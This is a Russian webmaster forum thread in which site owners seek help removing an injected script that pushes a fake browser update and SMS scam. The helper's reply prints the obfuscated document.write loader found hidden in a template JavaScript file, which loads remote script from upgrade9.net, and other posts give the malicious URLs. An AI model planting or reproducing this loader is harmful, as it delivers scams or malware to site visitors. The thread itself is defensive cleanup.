Помогите найти подгружаемый jar файл!

DoctorSEO
На сайте с 13.11.2011
Offline
123
505

Здравствуйте! Помогите найти подгружаемый jar файлик с отправкой смски для обновления браузера.

<script type="text/javascript" src="http://upgrade9.net/r.php?l=http%3A%2F%2Fupgrade9.net%2F?a=y2a4u244z403x4u2w4x2t2t2y3q2x454p22364z2f4y2d4t2e4"></script>

Сайт: online-freebee.ru :(

Ни как не могу найти, может кто уже стыкался с данной проблемой, помогите!!!

WebGomel
На сайте с 29.10.2011
Offline
78
#1

В файле templates/Promobil/js/libs.js внизу:

document.write('<sc'+'ript ty'+'pe="te'+'xt/jav'+'asc'+'ript" src="ht'+'tp:/'+'/u'+'pg'+'rad'+'e9.n'+'et/r.p'+'hp?l=ht'+'tp%3A%2F%2Fu'+'pg'+'rad'+'e9.n'+'et%2F?a=y2a'+'4u24'+'4z403x4u2w'+'4x2t2t2y3q'+'2x454p22364z'+'2f4y2d4t2e4">'+'<'+'/'+'sc'+'rip'+'t>');
Удалённый системный администратор ( https://remadmin.com )
DoctorSEO
На сайте с 13.11.2011
Offline
123
#2
WebGomel:
В файле templates/Promobil/js/libs.js внизу:
document.write('<sc'+'ript ty'+'pe="te'+'xt/jav'+'asc'+'ript" src="ht'+'tp:/'+'/u'+'pg'+'rad'+'e9.n'+'et/r.p'+'hp?l=ht'+'tp%3A%2F%2Fu'+'pg'+'rad'+'e9.n'+'et%2F?a=y2a'+'4u24'+'4z403x4u2w'+'4x2t2t2y3q'+'2x454p22364z'+'2f4y2d4t2e4">'+'<'+'/'+'sc'+'rip'+'t>');

Ни че се 😮 вроде убрал, очень большое СПАСИБОООО!!! я так долго его искал!!!) А как так бегом нашли если не секрет? 🍻

WebGomel
На сайте с 29.10.2011
Offline
78
#3
DoctorSEO:
Ни че се 😮 вроде убрал, очень большое СПАСИБОООО!!! я так долго его искал!!!) А как так бегом нашли если не секрет? 🍻

Так а что там искать? Тупо открыл самый первый js файл и всё как на ладони.

Кстати пройдитесь поиском но остальным файлам например по слову e9.n, думаю ещё найдёте. Да и шеллы поискать бы не мешало.

J
На сайте с 30.09.2007
Offline
45
#4

Аналогичная проблема.

домен stosa-aran.ru

помогите пожалуйста, опять просит upgrade9.net

ссылка - http://upgrade9.net/?a=u2b4r2a4z4y2x4t2w4v2t2t2y3s2x434v2x2b413a423b4y264

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий